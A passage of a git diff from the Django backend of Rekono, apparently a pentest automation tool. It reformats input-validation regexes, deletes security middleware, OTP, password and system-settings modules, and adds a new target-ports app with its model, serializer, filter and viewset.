" - "connect-src 'self'" -) -# CSP for Admin site -admin = ( - "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " - "script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'" -) - - -def add_csp_to_headers(headers: Dict[str, Any], endpoint: str) -> Dict[str, Any]: - '''Add CSP header to the response headers, based on endpoint accessed by the user. - - Args: - headers (Dict[str, Any]): Current response headers - endpoint (str): Endpoint accesed by the user - - Returns: - Dict[str, Any]: Response headers including CSP - ''' - headers['Content-Security-Policy'] = api - if endpoint.startswith('/admin'): - headers['Content-Security-Policy'] = admin - elif endpoint.startswith('/api/schema/swagger-ui'): - headers['Content-Security-Policy'] = swagger - elif endpoint.startswith('/api/schema/redoc'): - headers['Content-Security-Policy'] = redoc - return headers diff --git a/src/backend/security/input_validation.py b/src/backend/security/input_validation.py index 418e26926..103c204b9 100644 --- a/src/backend/security/input_validation.py +++ b/src/backend/security/input_validation.py @@ -4,20 +4,22 @@ from django.forms import ValidationError -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() # Rekono logger -IP_RANGE_REGEX = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}' # Regex for IP ranges like 10.10.10.1-20 -NAME_REGEX = r'[\wÀ-ÿ\s\.\-\[\]()@]{0,120}' # Regex for names validation -TEXT_REGEX = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' # Regex for text validation -PATH_REGEX = r'[\w\./#?&%$\\]{0,500}' # Regex for path validation -CVE_REGEX = r'CVE-\d{4}-\d{1,7}' # Regex for CVE validation -DD_KEY_REGEX = r'[\da-z]{40}' # Regex for Defect-Dojo key validation -TELEGRAM_TOKEN_REGEX = r'\d{10}:[\w\-]{35}' # Regex for Telegram token validation -CREDENTIAL_REGEX = r'[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}' # Regex for credentials validation +IP_RANGE_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}" # Regex for IP ranges like 10.10.10.1-20 +NAME_REGEX = r"[\wÀ-ÿ\s\.\-\[\]()@]{0,120}" # Regex for names validation +TEXT_REGEX = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' # Regex for text validation +PATH_REGEX = r"[\w\./#?&%$\\]{0,500}" # Regex for path validation +CVE_REGEX = r"CVE-\d{4}-\d{1,7}" # Regex for CVE validation +DD_KEY_REGEX = r"[\da-z]{40}" # Regex for Defect-Dojo key validation +TELEGRAM_TOKEN_REGEX = r"\d{10}:[\w\-]{35}" # Regex for Telegram token validation +SECRET_REGEX = ( + r"[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}" # Regex for credentials validation +) def validate_text_value(value: str, regex: str) -> None: - '''Validate if text value match the allowed regex. + """Validate if text value match the allowed regex. Args: value (str): Text value to be validated @@ -25,14 +27,16 @@ def validate_text_value(value: str, regex: str) -> None: Raises: ValidationError: Raised if value doesn't match the allowed regex - ''' + """ if not bool(re.fullmatch(regex, value)): - logger.warning(f'[Security] Invalid text value that doesn\'t match the regex {regex}') - raise ValidationError('Value contains unallowed characters') + logger.warning( + f"[Security] Invalid text value that doesn't match the regex {regex}" + ) + raise ValidationError("Value contains unallowed characters") def validate_number_value(value: int, min: int, max: int) -> None: - '''Validate if number is in the allowed range. + """Validate if number is in the allowed range. Args: value (int): Number value to be validated @@ -41,112 +45,114 @@ def validate_number_value(value: int, min: int, max: int) -> None: Raises: ValidationError: Raised if value is not in the allowed range - ''' + """ if value < min or value > max: - logger.warning(f'[Security] Invalid number value {value} that is not in the range {min} - {max}') - raise ValidationError('Number value is not in the allowed range') + logger.warning( + f"[Security] Invalid number value {value} that is not in the range {min} - {max}" + ) + raise ValidationError("Number value is not in the allowed range") def validate_url(value: str) -> None: url = urlparse(value) if not url.scheme or not url.netloc: - logger.warning(f'[Security] Invalid URL value {value}') - raise ValidationError('URL value is invalid') + logger.warning(f"[Security] Invalid URL value {value}") + raise ValidationError("URL value is invalid") def validate_name(value: str) -> None: - '''Validate if name is valid based on regex. + """Validate if name is valid based on regex. Args: value (str): Name value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' + """ validate_text_value(value, NAME_REGEX) def validate_text(value: str) -> None: - '''Validate if text is valid based on regex. + """Validate if text is valid based on regex. Args: value (str): Text value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' + """ validate_text_value(value, TEXT_REGEX) def validate_cve(value: str) -> None: - '''Validate if path is valid based on regex. + """Validate if path is valid based on regex. Args: value (str): CVE value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' + """ validate_text_value(value, CVE_REGEX) def validate_telegram_token(value: str) -> None: - '''Validate if Telegram token is valid based on regex. + """Validate if Telegram token is valid based on regex. Args: value (str): Telegram token value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' + """ validate_text_value(value, TELEGRAM_TOKEN_REGEX) def validate_defect_dojo_api_key(value: str) -> None: - '''Validate if Defect-Dojo API key is valid based on regex. + """Validate if Defect-Dojo API key is valid based on regex. Args: value (str): Defect-Dojo API key value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' + """ validate_text_value(value, DD_KEY_REGEX) -def validate_credential(value: str) -> None: - '''Validate if credential is valid based on regex. +def validate_secret(value: str) -> None: + """Validate if secret is valid based on regex. Args: - value (str): Credential value + value (str): Secret value Raises: ValidationError: Raised if value doesn't match the expected regex - ''' - validate_text_value(value, CREDENTIAL_REGEX) + """ + validate_text_value(value, SECRET_REGEX) def validate_number(value: int) -> None: - '''Validate if number is valid based on min and max values. + """Validate if number is valid based on min and max values. Args: value (int): Number value Raises: ValidationError: Raised if value is lower or greater than the expected range - ''' + """ validate_number_value(value, 1, 999999) def validate_time_amount(value: int) -> None: - '''Validate if specific amount of time is valid based on min and max values. + """Validate if specific amount of time is valid based on min and max values. Args: value (int): Amount of time Raises: ValidationError: Raised if value is lower or greater than the expected range - ''' + """ validate_number_value(value, 1, 1000) diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py deleted file mode 100644 index 9324001b0..000000000 --- a/src/backend/security/middleware.py +++ /dev/null @@ -1,72 +0,0 @@ -import logging -from typing import Any - -from rest_framework import status -from rest_framework.renderers import JSONRenderer -from rest_framework.request import HttpRequest -from rest_framework.response import Response -from security.csp_header import add_csp_to_headers - -from rekono.settings import TRUSTED_PROXY - -# Base response headers for all HTTP responses -headers = { - 'Server': None, - 'Cache-Control': 'no-store', - 'Referrer-Policy': 'no-referrer', - 'X-Content-Type-Options': 'nosniff', - 'X-Frame-Options': 'DENY', - 'Access-Control-Allow-Origin': 'app://.', - 'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS', - 'Access-Control-Allow-Headers': 'content-type, authorization', -} - -logger = logging.getLogger() # Rekono logger - - -class RekonoSecurityMiddleware: - '''Security middleware that manages all HTTP requests and responses.''' - - def __init__(self, get_response: Any) -> None: - '''Middleware constructor. - - Args: - get_response (Any): HTTP request processor - ''' - self.get_response = get_response - - def __call__(self, request: HttpRequest) -> Any: - '''Process HTTP requests when received and return HTTP responses. - - Args: - request (HttpRequest): HTTP request - - Returns: - Any: HTTP response - ''' - x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR') - if x_forwarded_for and TRUSTED_PROXY: - if ',' in x_forwarded_for: - x_forwarded_for = x_forwarded_for.split(',', 1)[0] - request.META['REMOTE_ADDR'] = x_forwarded_for - if request.method == 'OPTIONS': # Generic answer for OPTIONS requests - response = Response(status=status.HTTP_200_OK) - response.accepted_renderer = JSONRenderer() - response.accepted_media_type = 'application/json' - response.renderer_context = { - 'request': request, - 'response': response - } - response = response.render() - response['Allow'] = 'GET, POST, PUT, DELETE, OPTIONS' - else: - response = self.get_response(request) # Process request - for header, value in add_csp_to_headers(headers, request.path).items(): # Get response headers with CSP - response[header] = value # Include response headers in response - log = logger.info # Info level by default - if response.status_code >= 400 and response.status_code < 500: - log = logger.warning # Warning level for 4XX error responses - elif response.status_code >= 500: - log = logger.error # Error level for 5XX error responses - log(f'{request.method} {request.get_full_path()} > HTTP {response.status_code}', extra={'request': request}) - return response diff --git a/src/backend/security/otp.py b/src/backend/security/otp.py deleted file mode 100644 index 49d7f9d5b..000000000 --- a/src/backend/security/otp.py +++ /dev/null @@ -1,24 +0,0 @@ -from datetime import datetime, timedelta - -from django.utils import timezone -from security.crypto import generate_random_value, hash - -from rekono.settings import OTP_EXPIRATION_HOURS - - -def generate() -> str: - '''Generate a secure OTP (One Time Password). - - Returns: - str: OTP value - ''' - return hash(generate_random_value(3000)) - - -def get_expiration() -> datetime: - '''Get expiration datetime for a OTP token. - - Returns: - datetime: Datetime when the token expires - ''' - return timezone.now() + timedelta(hours=OTP_EXPIRATION_HOURS) diff --git a/src/backend/security/passwords.py b/src/backend/security/passwords.py deleted file mode 100644 index e9e0591ca..000000000 --- a/src/backend/security/passwords.py +++ /dev/null @@ -1,44 +0,0 @@ -import re - -from django.core.exceptions import ValidationError -from users.models import User - - -class PasswordComplexityValidator: - '''Rekono password complexity validator.''' - - full_match = r'[A-Za-z0-9\W]{12,}' # Full match with all requirements - lowercase = r'[a-z]' # At least one lowercase - uppercase = r'[A-Z]' # At least one uppercase - digits = r'[0-9]' # At least one digit - symbols = r'[\W]' # At least one symbol - message = 'Your password must contain at least 1 lowercase, 1 uppercase, 1 digit and 1 symbol' - - def validate(self, password: str, user: User = None) -> None: - '''Validate if password match the complexity requirements. - - Args: - password (str): Password to check - user (User, optional): User that is establishing the password. Defaults to None. - - Raises: - ValidationError: Raised if password doesn't match the complexity requirements - ''' - if not bool(re.fullmatch(self.full_match, password)): # Full check - raise ValidationError(self.message) - if not bool(re.search(self.lowercase, password)): # Lower case check - raise ValidationError('Your password must contain at least 1 lowercase') - if not bool(re.search(self.uppercase, password)): # Upper case check - raise ValidationError('Your password must contain at least 1 uppercase') - if not bool(re.search(self.digits, password)): # Digits check - raise ValidationError('Your password must contain at least 1 digit') - if not bool(re.search(self.symbols, password)): # Symbols check - raise ValidationError('Your password must contain at least 1 symbol') - - def get_help_text(self) -> str: - '''Get help message. - - Returns: - str: Help message - ''' - return self.message diff --git a/src/backend/security/serializers.py b/src/backend/security/serializers.py deleted file mode 100644 index 735a9a82a..000000000 --- a/src/backend/security/serializers.py +++ /dev/null @@ -1,56 +0,0 @@ -import logging -from typing import Any, Dict - -from email_notifications.sender import user_login_notification -from rest_framework import serializers -from rest_framework_simplejwt.serializers import TokenObtainPairSerializer -from rest_framework_simplejwt.tokens import RefreshToken -from users.models import User - -logger = logging.getLogger() # Rekono logger - - -class RekonoTokenObtainPairSerializer(TokenObtainPairSerializer): - '''Serializer to user authentication and access token refresh via API.''' - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) # User login - user_login_notification(self.user) # Send email notification to the user - logger.info(f'[Security] User {self.user.id} has logged in', extra={'user': self.user.id}) - return attrs - - @classmethod - def get_token(cls, user: User) -> Dict[str, Any]: - '''Get claims to include in the access token. - - Args: - user (User): Authenticated user - - Returns: - Dict[str, Any]: Claims for this user - ''' - token = super().get_token(user) # Get standard claims - token['role'] = user.groups.first().name # Include user role name - return token - - -class LogoutSerializer(serializers.Serializer): - '''Serializer to user logout via API.''' - - refresh_token = serializers.CharField(max_length=500, required=True) # Refresh token to logout - - def save(self, **kwargs: Any) -> None: - '''Perform the logout operation, including the refresh token in the blacklist.''' - token = RefreshToken(self.validated_data.get('refresh_token')) - token.blacklist() # Add refresh token to the blacklist diff --git a/src/backend/security/urls.py b/src/backend/security/urls.py deleted file mode 100644 index 01ce08cd0..000000000 --- a/src/backend/security/urls.py +++ /dev/null @@ -1,15 +0,0 @@ -from django.urls import include, path -from rest_framework.routers import SimpleRouter -from security.views import (LogoutView, RekonoTokenObtainPairView, - RekonoTokenRefreshView) - -# Register your views here. - -router = SimpleRouter() -router.register('logout', LogoutView, basename='logout') - -urlpatterns = [ - path('token/', RekonoTokenObtainPairView.as_view(), name='token-pair'), # Get access and refresh tokens - path('token/refresh/', RekonoTokenRefreshView.as_view(), name='token-refresh'), # Refresh access token - path('', include(router.urls)) -] diff --git a/src/backend/security/views.py b/src/backend/security/views.py deleted file mode 100644 index cc9889f6c..000000000 --- a/src/backend/security/views.py +++ /dev/null @@ -1,54 +0,0 @@ -import logging -from typing import Any - -from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.mixins import CreateModelMixin -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response -from rest_framework.viewsets import GenericViewSet -from rest_framework_simplejwt.views import (TokenObtainPairView, - TokenRefreshView) -from security.serializers import (LogoutSerializer, - RekonoTokenObtainPairSerializer) - -logger = logging.getLogger() # Rekono logger - - -class RekonoTokenObtainPairView(TokenObtainPairView): - '''Token ViewSet that includes the user login (get access and refresh token).''' - - serializer_class = RekonoTokenObtainPairSerializer - throttle_scope = 'login' - - -class RekonoTokenRefreshView(TokenRefreshView): - '''Token ViewSet that includes the refresh access token feature.''' - - throttle_scope = 'refresh' - - -class LogoutView(GenericViewSet, CreateModelMixin): - '''Logout ViewSet that includes the user logout feature.''' - - queryset = None - permission_classes = (IsAuthenticated,) # Any authenticated user can logout - serializer_class = LogoutSerializer - - @extend_schema(responses={200: None}) - def create(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Perform the user logout. - - Args: - request (Request): HTTP request - - Returns: - Response: HTTP response - ''' - serializer = LogoutSerializer(data=request.data) - if serializer.is_valid(): - serializer.save() # Perform logout - logger.info(f'[Security] User {request.user.id} has logged out', extra={'user': request.user.id}) - return Response(status=status.HTTP_200_OK) # Logged out - return Response(status=status.HTTP_400_BAD_REQUEST) # Valid refresh token is required diff --git a/src/backend/system/__init__.py b/src/backend/system/__init__.py deleted file mode 100644 index fb35f0819..000000000 --- a/src/backend/system/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''System.''' diff --git a/src/backend/system/admin.py b/src/backend/system/admin.py deleted file mode 100644 index 3112df702..000000000 --- a/src/backend/system/admin.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.contrib import admin - -from system.models import System - -# Register your models here. - -admin.site.register(System) diff --git a/src/backend/system/apps.py b/src/backend/system/apps.py deleted file mode 100644 index 1540a4f5f..000000000 --- a/src/backend/system/apps.py +++ /dev/null @@ -1,52 +0,0 @@ -import os -from pathlib import Path -from typing import Any - -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata -from django.db.models.signals import post_migrate - -from rekono.environment import RKN_DD_API_KEY, RKN_DD_URL, RKN_TELEGRAM_TOKEN -from rekono.settings import CONFIG - - -class SystemConfig(AppConfig): - '''System Django application.''' - - name = 'system' - - def ready(self) -> None: - '''Run code as soon as the registry is fully populated.''' - # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_input_types_model, sender=self) - - def load_input_types_model(self, **kwargs: Any) -> None: - '''Load input types fixtures in database.''' - from system.models import System - if System.objects.exists(): # Check if default data is loaded - return - path = os.path.join(Path(__file__).resolve().parent, 'fixtures') # Path to fixtures directory - management.call_command( - loaddata.Command(), - os.path.join(path, '1_default.json') # Default settings - ) - self.load_existing_configuration() - - def load_existing_configuration(self) -> None: - '''Load existing configuration from old Rekono versions.''' - # -------------------------------------------------------------------------------------------------------------- - # DEPRECATED - # The following configurations are mantained for compatibility reasons with the previous version. - # This support will be removed in the next release, since this settings can be managed using the Settings page. - # -------------------------------------------------------------------------------------------------------------- - from system.models import System - system = System.objects.first() - for environment_variable, file_property, system_field in [ - (RKN_TELEGRAM_TOKEN, CONFIG.TELEGRAM_TOKEN, 'telegram_bot_token'), - (RKN_DD_URL, CONFIG.DD_URL, 'defect_dojo_url'), - (RKN_DD_API_KEY, CONFIG.DD_API_KEY, 'defect_dojo_api_key'), - ]: - if os.getenv(environment_variable, file_property) and not getattr(system, system_field): - setattr(system, system_field, os.getenv(environment_variable, file_property)) - system.save() diff --git a/src/backend/system/fixtures/1_default.json b/src/backend/system/fixtures/1_default.json deleted file mode 100644 index d8381b61c..000000000 --- a/src/backend/system/fixtures/1_default.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "model": "system.System", - "pk": 1, - "fields": { - "upload_files_max_mb": 512, - "telegram_bot_token": null, - "defect_dojo_url": null, - "defect_dojo_api_key": null, - "defect_dojo_verify_tls": true, - "defect_dojo_tag": "rekono", - "defect_dojo_product_type": "Rekono Project", - "defect_dojo_test_type": "Rekono Findings Import", - "defect_dojo_test": "Rekono Test" - } - } -] \ No newline at end of file diff --git a/src/backend/system/migrations/0001_initial.py b/src/backend/system/migrations/0001_initial.py deleted file mode 100644 index c5c1d1e80..000000000 --- a/src/backend/system/migrations/0001_initial.py +++ /dev/null @@ -1,30 +0,0 @@ -# Generated by Django 3.2.15 on 2022-10-22 08:41 - -from django.db import migrations, models -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='System', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('upload_files_max_mb', models.IntegerField(default=512, validators=[security.input_validation.validate_upload_file_size])), - ('telegram_bot_token', models.TextField(blank=True, null=True, validators=[security.input_validation.validate_telegram_token])), - ('defect_dojo_url', models.TextField(blank=True, null=True, validators=[security.input_validation.validate_url])), - ('defect_dojo_api_key', models.TextField(blank=True, null=True, validators=[security.input_validation.validate_defect_dojo_api_key])), - ('defect_dojo_verify_tls', models.BooleanField(default=True)), - ('defect_dojo_tag', models.TextField(default='rekono', validators=[security.input_validation.validate_name])), - ('defect_dojo_product_type', models.TextField(default='Rekono Project', validators=[security.input_validation.validate_name])), - ('defect_dojo_test_type', models.TextField(default='Rekono Findings Import', validators=[security.input_validation.validate_name])), - ('defect_dojo_test', models.TextField(default='Rekono Test', validators=[security.input_validation.validate_name])), - ], - ), - ] diff --git a/src/backend/system/migrations/__init__.py b/src/backend/system/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/system/models.py b/src/backend/system/models.py deleted file mode 100644 index 36ed3d57e..000000000 --- a/src/backend/system/models.py +++ /dev/null @@ -1,36 +0,0 @@ -from django.db import models -from security.input_validation import (validate_defect_dojo_api_key, - validate_name, validate_telegram_token, - validate_upload_file_size, validate_url) - -# Create your models here. - - -class System(models.Model): - '''System model.''' - - # Max size in MB for uploaded files - upload_files_max_mb = models.IntegerField(default=512, validators=[validate_upload_file_size]) - # Telegram token to deploy the Telegram bot - telegram_bot_token = models.TextField(blank=True, null=True, validators=[validate_telegram_token]) - defect_dojo_url = models.TextField(blank=True, null=True, validators=[validate_url]) # Defect-Dojo URL - # Defect-Dojo API key - defect_dojo_api_key = models.TextField(blank=True, null=True, validators=[validate_defect_dojo_api_key]) - # Indicate if TLS certificate should be validated in Defect-Dojo integration - defect_dojo_verify_tls = models.BooleanField(default=True) - # Tag to use in Defect-Dojo items - defect_dojo_tag = models.TextField(default='rekono', validators=[validate_name]) - # Product type name related to Rekono projects in Defect-Dojo - defect_dojo_product_type = models.TextField(default='Rekono Project', validators=[validate_name]) - # Test type related to Rekono executions in Defect-Dojo - defect_dojo_test_type = models.TextField(default='Rekono Findings Import', validators=[validate_name]) - # Test related to Rekono executions in Defect-Dojo - defect_dojo_test = models.TextField(default='Rekono Test', validators=[validate_name]) - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return 'System' diff --git a/src/backend/system/serializers.py b/src/backend/system/serializers.py deleted file mode 100644 index db4665a5c..000000000 --- a/src/backend/system/serializers.py +++ /dev/null @@ -1,76 +0,0 @@ -from typing import Any, Dict, Optional - -from api.fields import ProtectedStringValueField -from defectdojo.api import DefectDojo -from rest_framework import serializers -from security.input_validation import (validate_defect_dojo_api_key, - validate_telegram_token) -from telegram_bot.bot import get_telegram_bot_name - -from system.models import System - - -class SystemSerializer(serializers.ModelSerializer): - '''Serializer to manage system settings via API.''' - - # Telegram bot name obtained automatically using the Telegram token - telegram_bot_name = serializers.SerializerMethodField(method_name='get_telegram_bot_name', read_only=True) - # Telegram token in a protected way - telegram_bot_token = ProtectedStringValueField(required=False, allow_null=True) - # Defect-Dojo APi key in a protected way - defect_dojo_api_key = ProtectedStringValueField(required=False, allow_null=True) - # Indicate if Defect-Dojo integration is available using the URL and the API key - defect_dojo_enabled = serializers.SerializerMethodField(method_name='is_defect_dojo_enabled', read_only=True) - - class Meta: - '''Serializer metadata.''' - - model = System - fields = ( # System fields exposed via API - 'id', 'upload_files_max_mb', 'telegram_bot_name', 'telegram_bot_token', - 'defect_dojo_url', 'defect_dojo_api_key', 'defect_dojo_verify_tls', - 'defect_dojo_tag', 'defect_dojo_product_type', 'defect_dojo_test_type', - 'defect_dojo_test', 'defect_dojo_enabled' - ) - - def is_defect_dojo_enabled(self, instance: System) -> bool: - '''Indicate if Defect-Dojo integration is available using the URL and the API key. - - Args: - instance (System): System instance. Not used. - - Returns: - bool: Indicate if Defect-Dojo integration is available - ''' - dd_client = DefectDojo() - return dd_client.is_available() - - def get_telegram_bot_name(self, instance: System) -> Optional[str]: - '''Get Telegram bot name using the Telegram bot. - - Args: - instance (System): System instance. Not used - - Returns: - Optional[str]: Telegram bot name - ''' - return get_telegram_bot_name() - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - if 'telegram_bot_token' in attrs: - validate_telegram_token(attrs.get('telegram_bot_token', '')) - if 'defect_dojo_api_key' in attrs: - validate_defect_dojo_api_key(attrs.get('defect_dojo_api_key', '')) - return attrs diff --git a/src/backend/system/views.py b/src/backend/system/views.py deleted file mode 100644 index 26946bba1..000000000 --- a/src/backend/system/views.py +++ /dev/null @@ -1,18 +0,0 @@ -from rest_framework.mixins import RetrieveModelMixin, UpdateModelMixin -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from rest_framework.viewsets import GenericViewSet - -from system.models import System -from system.serializers import SystemSerializer - -# Create your views here. - - -class SystemViewSet(GenericViewSet, RetrieveModelMixin, UpdateModelMixin): - '''System ViewSet that includes: retrieve and update features.''' - - queryset = System.objects.all() - serializer_class = SystemSerializer - http_method_names = ['get', 'put'] # Required to remove PATCH method - # Required to remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions] diff --git a/src/backend/target_ports/__init__.py b/src/backend/target_ports/__init__.py new file mode 100644 index 000000000..cec0c44b7 --- /dev/null +++ b/src/backend/target_ports/__init__.py @@ -0,0 +1 @@ +"""Target Ports.""" diff --git a/src/backend/target_ports/admin.py b/src/backend/target_ports/admin.py new file mode 100644 index 000000000..3c32a69cc --- /dev/null +++ b/src/backend/target_ports/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from target_ports.models import TargetPort + +# Register your models here. + +admin.site.register(TargetPort) diff --git a/src/backend/target_ports/apps.py b/src/backend/target_ports/apps.py new file mode 100644 index 000000000..29746dfac --- /dev/null +++ b/src/backend/target_ports/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class TargetPortsConfig(AppConfig): + name = "target_ports" diff --git a/src/backend/target_ports/filters.py b/src/backend/target_ports/filters.py new file mode 100644 index 000000000..72fdf0f17 --- /dev/null +++ b/src/backend/target_ports/filters.py @@ -0,0 +1,18 @@ +from django_filters.rest_framework import FilterSet +from target_ports.models import TargetPort + + +class TargetPortFilter(FilterSet): + """FilterSet to filter and sort Target Port entities.""" + + class Meta: + """FilterSet metadata.""" + + model = TargetPort + fields = { # Filter fields + "target": ["exact"], + "target__project": ["exact"], + "target__project__name": ["exact", "icontains"], + "target__target": ["exact", "icontains"], + "port": ["exact"], + } diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py new file mode 100644 index 000000000..d9d2213fd --- /dev/null +++ b/src/backend/target_ports/models.py @@ -0,0 +1,66 @@ +from typing import Any, Dict + +from django.db import models +from framework.enums import InputKeyword +from framework.models import BaseInput +from projects.models import Project +from security.input_validation import validate_number +from targets.models import Target + +# Create your models here. + + +class TargetPort(BaseInput): + """Target port model.""" + + target = models.ForeignKey( + Target, related_name="target_ports", on_delete=models.CASCADE + ) + port = models.IntegerField(validators=[validate_number]) + + filters = [BaseInput.Filter(type=int, field="port")] + + class Meta: + unique_together = ["target", "port"] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + """Get useful information from this instance to be used in tool execution as argument. + + Args: + accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. + + Returns: + Dict[str, Any]: Useful information for tool executions, including accumulated if setted + """ + output = { + InputKeyword.TARGET.name.lower(): self.target.target, + InputKeyword.HOST.name.lower(): self.target.target, + InputKeyword.PORT.name.lower(): self.port, + InputKeyword.PORTS.name.lower(): [self.port], + InputKeyword.URL.name.lower(): self._get_url(self.target.target, self.port), + } + if accumulated and InputKeyword.PORTS.name.lower() in accumulated: + output[InputKeyword.PORTS.name.lower()] = accumulated[ + InputKeyword.PORTS.name.lower() + ] + output[InputKeyword.PORTS.name.lower()].append(self.port) + output[InputKeyword.PORTS_COMMAS.name.lower()] = ",".join( + [str(port) for port in output[InputKeyword.PORTS.name.lower()]] + ) + return output + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.target.target} - {self.port}" + + def get_project(self) -> Project: + """Get the related project for the instance. This will be used for authorization purposes. + + Returns: + Project: Related project entity + """ + return self.target.project diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py new file mode 100644 index 000000000..cfb9a9cb8 --- /dev/null +++ b/src/backend/target_ports/serializers.py @@ -0,0 +1,22 @@ +from typing import Any, Dict + +from authentications.serializers import AuthenticationSerializer +from rest_framework.serializers import ModelSerializer +from target_ports.models import TargetPort + + +class TargetPortSerializer(ModelSerializer): + """Serializer to manage target ports via API.""" + + authentication = AuthenticationSerializer(many=False, read_only=True) + + class Meta: + model = TargetPort + fields = ( # Target port fields exposed via API + "id", + "target", + "port", + "authentication", + ) + # Read only fields + read_only_fields = ("authentication",) diff --git a/src/backend/system/urls.py b/src/backend/target_ports/urls.py similarity index 56% rename from src/backend/system/urls.py rename to src/backend/target_ports/urls.py index 75306184b..af90416a4 100644 --- a/src/backend/system/urls.py +++ b/src/backend/target_ports/urls.py @@ -1,10 +1,9 @@ from rest_framework.routers import SimpleRouter - -from system.views import SystemViewSet +from target_ports.views import TargetPortViewSet # Register your views here. router = SimpleRouter() -router.register('system', SystemViewSet) +router.register("target-ports", TargetPortViewSet) urlpatterns = router.urls diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py new file mode 100644 index 000000000..95bcd5e09 --- /dev/null +++ b/src/backend/target_ports/views.py @@ -0,0 +1,25 @@ +from framework.views import BaseViewSet +from target_ports.filters import TargetPortFilter +from target_ports.models import TargetPort +from target_ports.serializers import TargetPortSerializer + +# Create your views here. + + +class TargetPortViewSet(BaseViewSet): + """TargetPort ViewSet that includes: get, retrieve, create, and delete features.""" + + queryset = TargetPort.objects.all() + serializer_class = TargetPortSerializer + filterset_class = TargetPortFilter + # Fields used to search target ports + search_fields = ["port"] + ordering_fields = ["id", "target", "port"] + http_method_names = [ + "get", + "post", + "delete", + ] + + # # Project members field used for authorization purposes + # members_field = "target__project__members" diff --git a/src/backend/targets/__init__.py b/src/backend/targets/__init__.py index 281981163..ec8cdbddb 100644 --- a/src/backend/targets/__init__.py +++ b/src/backend/targets/__init__.py @@ -1 +1 @@ -'''Targets.''' +"""Targets.""" diff --git a/src/backend/targets/admin.py b/src/backend/targets/admin.py index c86d76b18..7352c3ae4 100644 --- a/src/backend/targets/admin.py +++ b/src/backend/targets/admin.py @@ -1,8 +1,6 @@ from django.contrib import admin - -from targets.models import Target, TargetPort +from targets.models import Target # Register your models here. admin.site.register(Target) -admin.site.register(TargetPort) diff --git a/src/backend/targets/apps.py b/src/backend/targets/apps.py index 0aff1e6fd..a66f143d6 100644 --- a/src/backend/targets/apps.py +++ b/src/backend/targets/apps.py @@ -2,6 +2,4 @@ class TargetsConfig(AppConfig): - '''Targets Django application.''' - - name = 'targets' + name = "targets" diff --git a/src/backend/targets/filters.py b/src/backend/targets/filters.py index 27ada213c..753c9e679 100644 --- a/src/backend/targets/filters.py +++ b/src/backend/targets/filters.py @@ -1,44 +1,15 @@ -from django_filters import rest_framework -from django_filters.rest_framework.filters import OrderingFilter +from django_filters.rest_framework import FilterSet +from targets.models import Target -from targets.models import Target, TargetPort - -class TargetFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort Target entities.''' - - o = OrderingFilter(fields=('project', 'target', 'type')) # Ordering fields +class TargetFilter(FilterSet): + """FilterSet to filter and sort Target entities.""" class Meta: - '''FilterSet metadata.''' - model = Target - fields = { # Filter fields - 'project': ['exact'], - 'project__name': ['exact', 'icontains'], - 'project__owner': ['exact'], - 'project__owner__username': ['exact', 'icontains'], - 'target': ['exact', 'icontains'], - 'type': ['exact'], - } - - -class TargetPortFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort Target Port entities.''' - - o = OrderingFilter(fields=('target', 'port')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = TargetPort - fields = { # Filter fields - 'target': ['exact'], - 'target__project': ['exact'], - 'target__project__name': ['exact', 'icontains'], - 